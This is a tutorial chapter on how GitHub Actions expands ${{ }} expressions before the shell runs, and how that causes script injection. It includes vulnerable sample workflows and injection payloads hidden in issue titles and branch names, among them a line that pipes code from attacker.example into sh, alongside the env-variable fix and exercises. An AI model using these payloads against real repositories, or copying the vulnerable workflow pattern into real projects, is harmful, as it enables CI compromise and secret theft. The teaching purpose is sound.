Sub topic 3
How ${{ }} is expanded before the shell runs
This chapter explains when and how GitHub Actions replaces ${{ }} expressions in a workflow file. It builds the mental model that the next chapters on script injection depend on. It assumes you know basic YAML, the structure of a workflow (events, jobs, steps), and basic shell quoting.
Two stages: expression evaluation, then execution
A run step looks like a shell script that can read variables. It is not. Each run step goes through two separate stages.
- Expression evaluation. Before the step starts, Actions finds every
${{ ... }}in the step's fields, evaluates it, and replaces it with the resulting string. The surrounding text is not changed. - Execution. The runner writes the resulting text to a temporary script file and starts the shell on it. The shell sees only the final text. It cannot tell which parts came from your YAML and which came from an expression.
The key point is that stage 1 is plain text substitution. It does not quote, escape, or validate the value. The shell parses the result as code, because it has no other way to know what is code.
A worked example
Here is the vulnerable workflow from the plan again.
name: greet
on:
issues:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
steps:
- run: echo "New issue: ${{ github.event.issue.title }}"Suppose someone opens an issue titled Bug in parser. After stage 1, the script file contains:
echo "New issue: Bug in parser"That works as intended. Now suppose the title is "; curl https://attacker.example/x | sh; echo ". After stage 1, the script file contains:
echo "New issue: "; curl https://attacker.example/x | sh; echo ""The shell now sees three commands. The attacker's double quote closed your string, the semicolon ended your command, and the next command is theirs. The YAML file did not change. Only the data changed, but the data was inserted before the shell parsed anything.
Reproducing the expansion locally
You can see the effect without a repository by simulating stage 1 yourself. This script does the same substitution Actions does and runs the result with a harmless payload.
import subprocess
template = 'echo "New issue: {{TITLE}}"'
title = '"; echo INJECTED; echo "'
script = template.replace("{{TITLE}}", title)
print("Rendered script:")
print(script)
print("Output:")
subprocess.run(["bash", "-c", script], check=True)The output shows INJECTED on its own line. It is a separate command, not part of the greeting. Replacing the payload with something destructive would work the same way, which is why this flaw is serious.
Where expansion happens
Expressions are evaluated in many fields, not only run. What matters is where the result lands.
| Field | What the result becomes | Injection risk |
|---|---|---|
| `run` | Text of a shell script | High. The shell parses it as code. |
| `with: script` in `actions/github-script` | Text of JavaScript source | High. The value can break out of a string literal. |
| `env` value | An environment variable | Low. The value is stored as data. |
| `with` input of an action | An input string passed to the action | Depends on how the action uses it. |
| `if` condition | An input to the condition evaluator | Not shell injection, but logic can be affected. |
| `name` | A display label | Cosmetic. |
The same rule applies to inputs in composite actions. If a composite action's run step contains ${{ inputs.title }}, the input is pasted into script text, and the caller's value decides what the shell parses.
Why quoting in your YAML does not help
Developers often try to protect the value by quoting it in the shell line. That fails, because the attacker writes the closing quote.
steps:
- run: echo '${{ github.event.issue.title }}'A title of '; id; echo ' renders as echo ''; id; echo ''. Single quotes fail the same way double quotes do. Double quotes are worse, because the shell still expands $(...) and backticks inside them. A title of $(id) runs id even when the line is echo "${{ ... }}".
Wrapping the value in toJSON() or stripping some characters is also a poor defense. You would have to predict every way every shell and every tool downstream might interpret the output. Keeping the value out of script text avoids that problem.
What an attacker can put in a value
The rules for each value depend on its source. Branch names are a useful example, because many developers assume they are harmless. Git forbids spaces, ~, ^, :, ?, *, [, backslashes, and control characters in ref names. It allows $, (, ), ;, ", ', backticks, and {, }. That is enough for command execution, and ${IFS} replaces the forbidden space.
name: show-branch
on: pull_request
jobs:
show:
runs-on: ubuntu-latest
steps:
- run: echo "Branch is ${{ github.head_ref }}"A pull request from a branch named x";echo${IFS}INJECTED;" renders as:
echo "Branch is x";echo${IFS}INJECTED;""The echo${IFS}INJECTED command runs as a separate command. The same applies to pull request titles and bodies, issue titles and bodies, comment bodies, commit messages, author names, and the names of files in a pull request. The next chapter covers these sources in detail.
The fix in one line
Evaluation always happens before the shell. So you move the value from the script text to the environment, where the shell reads it as data.
name: greet
on:
issues:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
steps:
- env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: echo "New issue: $ISSUE_TITLE"Stage 1 still happens. The expression is replaced by the title text, but the replacement lands in the env mapping, which the runner turns into a process environment variable. The script file now contains only echo "New issue: $ISSUE_TITLE". This text is the same for every title. The shell expands $ISSUE_TITLE during execution, after parsing is done, and it does not parse the expanded value as commands.
You can test this with the same payload from before. The output is New issue: "; curl https://attacker.example/x | sh; echo ", printed literally.
Edge cases to watch
- Multi-line values. A pull request body can contain newlines. In a
runscript, a newline ends a command, so a multi-line value can inject whole lines of script without any quote tricks. Environment variables hold multi-line values safely. - Secrets are expanded the same way.
${{ secrets.TOKEN }}in arunscript is also pasted in as text. Logs mask known secret values, but masking does not stop a script from sending the secret elsewhere. Pass secrets throughenvtoo. - Other shells and languages. The same substitution happens when
shell: pythonorshell: pwshis set. In Python,print("${{ ... }}")is open to the same string break-out as the shell example. The mitigation, reading from the environment (os.environ), is the same idea. - Trusted values are fine. Values the attacker cannot influence, such as
github.run_id,github.sha, orgithub.repository, are safe to expand in scripts. The question to ask is who controls the string. The next chapter lists those sources.
Checking your understanding
Use this checklist when you read a run step.
- Find every
${{ }}inside theruntext. - For each one, decide who can set the value.
- If an outside party can set it, move it to
envand refer to it as a shell variable.
Exercise
A workflow step is run: echo "${{ github.event.pull_request.title }}" >> notes.txt. A contributor opens a pull request whose title is x" && echo pwned && echo ". Write the line the shell receives, and rewrite the step so the title is treated as data.
Show answer
After expression evaluation the shell receives echo "x" && echo pwned && echo "" >> notes.txt. The title closed the string and added a second command, echo pwned. The fix moves the value into an environment variable: env: with PR_TITLE: ${{ github.event.pull_request.title }}, and run: echo "$PR_TITLE" >> notes.txt. The script text no longer depends on the title, so the shell writes the title to the file literally.
Exercise
Why does replacing echo '${{ github.event.issue.title }}' with single quotes around the expression not prevent injection?
Show answer
Expression evaluation runs before the shell and does not escape the value. An attacker can include a single quote in the title to close the quoted string, then add commands, for example '; id; echo '. The shell only sees the final text, so the attacker's quote looks the same as yours.